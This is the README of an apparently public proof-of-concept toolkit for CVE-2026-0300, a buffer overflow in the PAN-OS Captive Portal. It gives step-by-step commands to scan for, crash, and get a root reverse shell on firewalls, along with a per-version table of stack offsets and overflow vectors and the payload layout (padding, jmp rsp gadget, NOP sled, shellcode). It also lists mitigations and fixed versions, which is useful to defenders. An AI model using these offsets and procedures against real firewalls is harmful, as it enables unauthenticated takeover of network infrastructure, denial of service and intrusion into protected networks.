CVE-2026-0300 — PAN-OS User-ID Authentication Portal Buffer Overflow Exploit

Critical (CVSS 9.3) — Unauthenticated Remote Code Execution in Palo Alto Networks PAN-OS Captive Portal

Overview
Vulnerability Details
Affected Versions
Architecture Diagrams
Project Structure
Installation
Scanner Usage — Step by Step
Exploit Usage — Step by Step
Payload Design
Mitigation
Disclaimer

Overview

CVE-2026-0300 is a critical buffer overflow vulnerability in the User-ID Authentication Portal (also known as Captive Portal) service of Palo Alto Networks PAN-OS software. An unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to execute arbitrary code with root privileges on PA-Series and VM-Series firewalls.

This repository contains a proof-of-concept exploit toolkit including:

Payload generator with version-specific offsets and x86_64 reverse shell shellcode
Scanner to detect vulnerable Captive Portal targets
Exploit with three modes: detection, crash (DoS), and full RCE

Vulnerability Details

Description

A buffer overflow vulnerability in the User-ID Authentication Portal service of PAN-OS software allows an unauthenticated attacker to execute arbitrary code with root privileges on the firewall by sending specially crafted packets. The Captive Portal HTTP service uses fixed-size stack buffers for parsing HTTP headers, which can be overflowed via oversized header values (Cookie, User-Agent, URI, or POST body).

Required Configuration for Exposure

Both conditions must be true for a target to be vulnerable:

User-ID Authentication Portal enabled — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
Interface management profile with response pages — attached to an L3 interface in a zone where untrusted/internet traffic can ingress

Advisory Reference

Official Advisory: https://security.paloaltonetworks.com/CVE-2026-0300
Best Practice Guidelines: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

Affected Versions

Not impacted: Prisma Access, Cloud NGFW, Panorama appliances.

Architecture Diagrams

System Architecture

┌─────────────────────────────────────────────────────────────────────┐
│                    CVE-2026-0300 Exploit Toolkit                     │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌────────────┐     ┌─────────────────┐     ┌────────────────────┐  │
│  │  scan.py   │────▶│  HTTP Fingerprint│     │  payload_gen.py    │  │
│  │  Scanner   │     │  + Version Check │     │                    │  │
│  └────────────┘     └─────────────────┘     │  ┌──────────────┐  │  │
│         │                                   │  │ Version      │  │  │
│         │  Reports:                         │  │ Offsets      │  │  │
│         │  • Portal detected?               │  │ (10.2/11.1/  │  │  │
│         │  • PAN-OS version                 │  │  11.2/12.1)  │  │  │
│         │  • Vulnerable?                    │  └──────────────┘  │  │
│         ▼                                   │  ┌──────────────┐  │  │
│  ┌────────────┐     ┌─────────────────┐     │  │ Shellcode    │  │  │
│  │ exploit.py │────▶│  Raw Socket     │     │  │ Generator    │  │  │
│  │  Exploit   │     │  HTTP Delivery  │     │  │ (x86_64 rev  │  │  │
│  └────────────┘     └─────────────────┘     │  │  shell)      │  │  │
│         │                                   │  └──────────────┘  │  │
│         │  ┌──────────────────────┐         │  ┌──────────────┐  │  │
│         ├─▶│ MODE: detect         │         │  │ ROP Chain    │  │  │
│         │  │ Safe, non-intrusive  │         │  │ (jmp rsp)    │  │  │
│         │  └──────────────────────┘         │  └──────────────┘  │  │
│         │  ┌──────────────────────┐         │  ┌──────────────┐  │  │
│         ├─▶│ MODE: crash          │         │  │ HTTP Request │  │  │
│         │  │ DoS validation       │         │  │ Builder      │  │  │
│         │  └──────────────────────┘         │  └──────────────┘  │  │
│         │  ┌──────────────────────┐         └────────────────────┘  │
│         └─▶│ MODE: rce            │                                   │
│            │ Reverse shell        │     ┌──────────────────────┐     │
│            └──────────────────────┘     │ ReverseShellListener │     │
│                    │                    │ (callback receiver)  │     │
│                    ▼                    └──────────────────────┘     │
│            ┌──────────────────┐                                      │
│            │  Target Firewall │                                      │
│            │  PAN-OS Captive  │                                      │
│            │  Portal Service  │                                      │
│            └──────────────────┘                                      │
└─────────────────────────────────────────────────────────────────────┘

Scanner Flow

┌─────────────┐
│  Start Scan │
└──────┬──────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Target reachable?│──────────▶│  Skip port  │
└──────┬───────────┘            └─────────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Send HTTP GET    │
│ to common ports  │
│ (443,80,8080,    │
│  8443,8843)      │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Captive Portal   │──────────▶│ Not exposed │
│ fingerprint?     │            └─────────────┘
│ (login.esp,      │
│  User-ID, PA-,   │
│  PAN-OS, etc.)   │
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Extract PAN-OS   │
│ version from     │
│ Server header /  │
│ response body    │
└──────┬───────────┘
       │
       ▼
┌──────────────────┐     No     ┌─────────────┐
│ Version in       │──────────▶│ Not         │
│ vulnerable       │            │ vulnerable  │
│ range?           │            └─────────────┘
└──────┬───────────┘
       │ Yes
       ▼
┌──────────────────┐
│ Report:          │
│ • VULNERABLE     │
│ • Version        │
│ • Matched ranges │
│ • SSL cert info  │
└──────────────────┘

Exploit Flow (RCE Mode)

┌──────────────────────────────────────────────────────────────────┐
│  EXPLOIT EXECUTION FLOW                                          │
│                                                                  │
│  1. Generate Payload                                             │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  [Padding to offset] [Saved FP] [ROP: jmp rsp]           │   │
│  │  [NOP sled (128B)] [Shellcode (184B rev shell)]          │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  2. Embed in HTTP Header  ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  GET / HTTP/1.1                                          │   │
│  │  Host: target:443                                        │   │
│  │  Cookie: <PAYLOAD>                                       │   │
│  │  Connection: close                                       │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  3. Start Listener       ▼                                      │
│  ┌──────────────────┐                                           │
│  │  Listener binds  │  ← Must start BEFORE sending payload     │
│  │  on callback     │                                            │
│  │  IP:port         │                                            │
│  └──────────────────┘                                           │
│                           │                                      │
│  4. Send via SSL/TLS     ▼                                      │
│  ┌──────────────────┐                                           │
│  │  Raw socket      │  → Target Captive Portal service          │
│  │  sends request   │                                            │
│  └──────────────────┘                                           │
│                           │                                      │
│  5. Buffer Overflow      ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  Portal parses Cookie header into fixed-size stack buffer│   │
│  │  Buffer overflows → overwrites saved FP + return address │   │
│  │  Return address → ROP gadget (jmp rsp)                   │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  6. Code Execution       ▼                                      │
│  ┌──────────────────────────────────────────────────────────┐   │
│  │  jmp rsp → NOP sled → shellcode executes                 │   │
│  │  socket() → connect(attacker_ip, port) → dup2() →        │   │
│  │  execve("/bin/sh")                                       │   │
│  └──────────────────────────────────────────────────────────┘   │
│                           │                                      │
│  7. Reverse Shell        ▼                                      │
│  ┌──────────────────┐                                           │
│  │  Listener accepts│  → Attacker has root shell on firewall  │
│  │  callback        │                                            │
│  └──────────────────┘                                           │
└──────────────────────────────────────────────────────────────────┘

Project Structure

POC-CVE-2026-0300-exploit/
├── payload_gen.py      # Payload generation (shellcode, ROP, HTTP request builder)
├── scan.py             # Vulnerability scanner (detect Captive Portal + version)
├── exploit.py          # Exploit orchestrator (detect/crash/rce modes)
├── requirements.txt    # Python dependencies
└── README.md           # This file

Installation

# Clone the repository
git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git
cd POC-CVE-2026-0300-exploit

# Install dependencies (requests is optional — raw sockets are used by default)
pip3 install -r requirements.txt

Requirements: Python 3.8+, standard library only for core functionality. requests is optional.

Scanner Usage — Step by Step

The scanner performs safe, non-intrusive checks to identify vulnerable PAN-OS Captive Portal targets.

Step 1: Scan a Single Target

python3 scan.py --target 192.168.1.1

The scanner will:

Probe common ports (443, 80, 8080, 8443, 8843)
Send HTTP requests and check for Captive Portal fingerprints
Extract PAN-OS version from Server headers and response body
Check if the version falls within vulnerable ranges
Print a color-coded report

Step 2: Scan with Specific Port

python3 scan.py --target 192.168.1.1 --port 443

Step 3: Scan Multiple Targets from File

Create a file targets.txt with one target per line:

192.168.1.1
10.0.0.5
firewall.example.com
# Comments are ignored

python3 scan.py --targets targets.txt

Step 4: Save Results as JSON

python3 scan.py --target 192.168.1.1 --json scan_results.json

Scanner Output Example

====================================================================
  CVE-2026-0300 VULNERABILITY SCANNER
  PAN-OS User-ID Authentication Portal Buffer Overflow
====================================================================
  Target:   192.168.1.1
  Ports:    443, 80, 8080, 8443, 8843
  Time:     2026-08-06T12:00:00+00:00
  Portal:   DETECTED
  Status:   VULNERABLE

  ─ Port 443 ─
    HTTP Status:     200
    PAN-OS Version:  11.2.7
    Vulnerable:      True
    Fingerprints:    login\.esp, userId, Authentication Portal, PAN-OS
    SSL Subject:     {'commonName': 'firewall.example.com'}
====================================================================

What the Scanner Detects

Indicator	Method
Captive Portal exposed	HTTP fingerprint matching (login.esp, User-ID, PA-, PAN-OS patterns)
PAN-OS version	Server header parsing, response body regex extraction
Vulnerable version	Comparison against CVE-2026-0300 affected version ranges
SSL certificate	Certificate subject/issuer for target identification

Exploit Usage — Step by Step

The exploit supports three modes of increasing intensity.

Mode 1: Detect (Safe, Non-Intrusive)

Sends a moderately oversized header and compares the response to a normal request. Does NOT crash the service.

python3 exploit.py --target 192.168.1.1 --mode detect

What it does:

Sends a 4KB Cookie header (oversized but not weaponized)
Sends a normal request for baseline comparison
Reports if the target responds differently to oversized input
Indicates likely vulnerability if responses differ

Mode 2: Crash (DoS Validation)

Sends a buffer overflow payload with an invalid return address (0x41414141) to crash the Captive Portal service.

python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

What it does:

Generates a version-specific overflow payload
Overwrites the return address with 0x4141414141414141
Sends via the chosen overflow vector (default: Cookie header)
Verifies service crash with a follow-up request
Reports if the service is down after the payload

Options:

--vector cookie|ua|uri|post — Choose overflow vector (default: cookie)
--http — Use HTTP instead of HTTPS

Mode 3: Full RCE (Reverse Shell)

Sends a buffer overflow with a reverse shell payload. Starts a listener to receive the callback.

python3 exploit.py --target 192.168.1.1 --mode rce \
    --version 11.2.7 \
    --callback-ip 10.0.0.1 \
    --callback-port 4444

What it does:

Generates payload: padding + ROP gadget (jmp rsp) + NOP sled + reverse shell shellcode
Starts a TCP listener on the callback IP:port
Sends the weaponized HTTP request to the target
Waits for the reverse shell callback
Reports success if a connection is received

Required arguments:

--version — Target PAN-OS version (determines buffer offset and ROP gadget)
--callback-ip — Your IP address (must be reachable from target)
--callback-port — Port for reverse shell callback (default: 4444)

Optional arguments:

--vector cookie|ua|uri|post — Overflow vector (default: cookie)
--nop-sled 128 — NOP sled size in bytes (default: 128)
--timeout 30 — Connection and listener timeout in seconds
--http — Use HTTP instead of HTTPS
--json report.json — Save exploit report as JSON

Exploit Output Example (RCE)

[*] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie)
[*] Callback: 10.0.0.1:4444
[*] Payload generated:
    Vector:       cookie
    Offset:       3072 bytes to RIP
    Padding:      3072 bytes
    ROP chain:    8 bytes
    NOP sled:     128 bytes
    Shellcode:    184 bytes
    Total:        3392 bytes
    SHA256:       a1b2c3d4...
[*] HTTP request built: 3475 bytes
[*] Starting listener on 10.0.0.1:4444...
[*] Sending exploit payload...
[*] Payload sent. Waiting for callback (timeout: 30s)...
[+] REVERSE SHELL RECEIVED from 192.168.1.1!

====================================================================
  CVE-2026-0300 EXPLOIT REPORT
  PAN-OS User-ID Authentication Portal Buffer Overflow
====================================================================
  Mode:       RCE
  Target:     192.168.1.1:443
  Version:    11.2.7
  Vector:     cookie
  Callback:   10.0.0.1:4444
  Shell:      RECEIVED
  From:       192.168.1.1:54321
====================================================================

Supported Versions and Vectors

Versions (with version-specific buffer offsets):

Vectors:

Payload Design

Buffer Overflow Layout

┌─────────────────────────────────────────────────────────────────┐
│  HTTP Header Value (Cookie / User-Agent / URI / POST body)     │
├──────────┬──────────┬──────────┬──────────┬────────────────────┤
│  Padding │  Saved   │  ROP     │  NOP     │  Shellcode         │
│  (to     │  Frame   │  Gadget  │  Sled    │  (reverse shell)   │
│  offset) │  Pointer │  (jmp    │  (\x90   │                    │
│          │  (8 B)   │  rsp)    │  * N)    │                    │
└──────────┴──────────┴──────────┴──────────┴────────────────────┘
           ↑                     ↑
           Buffer overflow       Return address overwritten
           overwrites here       with jmp rsp gadget

Shellcode

The exploit uses position-independent x86_64 Linux shellcode that:

Creates a TCP socket (socket(AF_INET, SOCK_STREAM, 0))
Connects back to the attacker's IP:port (connect())
Redirects stdin/stdout/stderr to the socket (dup2())
Spawns a shell (execve("/bin/sh", NULL, NULL))

Total shellcode size: ~184 bytes, contains syscall instructions (\x0f\x05).

Mitigation

Immediate Actions

Restrict access to the User-ID Authentication Portal — limit to trusted internal IP addresses only
Disable response pages on untrusted interfaces (Network > Interface > Advanced > Management Interface Profile)
Disable the Authentication Portal if not needed (Device > User Identification > Authentication Portal Settings)
Upgrade PAN-OS to a fixed version

Fixed Versions

PAN-OS 10.2: 10.2.7-h34 and later
PAN-OS 11.1: 11.1.15 and later
PAN-OS 11.2: 11.2.12 and later
PAN-OS 12.1: 12.1.7 and later

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. Unauthorized use against production systems is illegal and may violate computer fraud and abuse laws.

The authors assume no liability for misuse of this tool. Always follow responsible disclosure practices and adhere to applicable laws and regulations.

CVE ID	CVE-2026-0300
Severity	CRITICAL
CVSS 4.0	9.3 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H)
CWE	CWE-787: Out-of-bounds Write
CAPEC	CAPEC-100: Overflow Buffers
Impact	Unauthenticated Remote Code Execution (root)
Exploitation Status	Limited exploitation observed in the wild

10.2	10.2.7, 10.2.10, 10.2.13, 10.2.16, 10.2.18	10.2.7-h34+
11.1	11.1.0–11.1.14	11.1.15+
11.2	11.2.0–11.2.11	11.2.12+
12.1	12.1.0–12.1.6	12.1.7+

`cookie`	Cookie header	Overflow via oversized Cookie value
`ua`	User-Agent header	Overflow via oversized User-Agent value
`uri`	Request URI path	Overflow via oversized URI path
`post`	POST body	Overflow via oversized POST form data

10.2.7	2048	jmp rsp	cookie
10.2.10	2048	jmp rsp	cookie
10.2.13	2048	jmp rsp	cookie
10.2.16	2048	jmp rsp	cookie
10.2.18	2048	jmp rsp	cookie
11.1.0	1024	jmp rsp	cookie
11.1.4	1024	jmp rsp	ua
11.1.6	1280	jmp rsp	ua
11.1.7	1280	jmp rsp	ua
11.1.10	1280	jmp rsp	ua
11.1.13	1280	jmp rsp	ua
11.2.0	3072	jmp rsp	cookie
11.2.4	3072	jmp rsp	cookie
11.2.7	3072	jmp rsp	cookie
11.2.10	3072	jmp rsp	cookie
12.1.0	4096	jmp rsp	post
12.1.4	4096	jmp rsp	post

POC-CVE-2026-0300-exploit

Most Popular

CVE-2026-0300 — PAN-OS User-ID Authentication Portal Buffer Overflow Exploit

Table of Contents

Overview

Vulnerability Details

Description

Required Configuration for Exposure

Advisory Reference

Affected Versions

Architecture Diagrams

System Architecture

Scanner Flow

Exploit Flow (RCE Mode)

Project Structure

Installation

Scanner Usage — Step by Step

Step 1: Scan a Single Target

Step 2: Scan with Specific Port

Step 3: Scan Multiple Targets from File

Step 4: Save Results as JSON

Scanner Output Example

What the Scanner Detects

Exploit Usage — Step by Step

Mode 1: Detect (Safe, Non-Intrusive)

Mode 2: Crash (DoS Validation)

Mode 3: Full RCE (Reverse Shell)

Exploit Output Example (RCE)

Supported Versions and Vectors

Payload Design

Buffer Overflow Layout

Shellcode

Mitigation

Immediate Actions

Fixed Versions

Disclaimer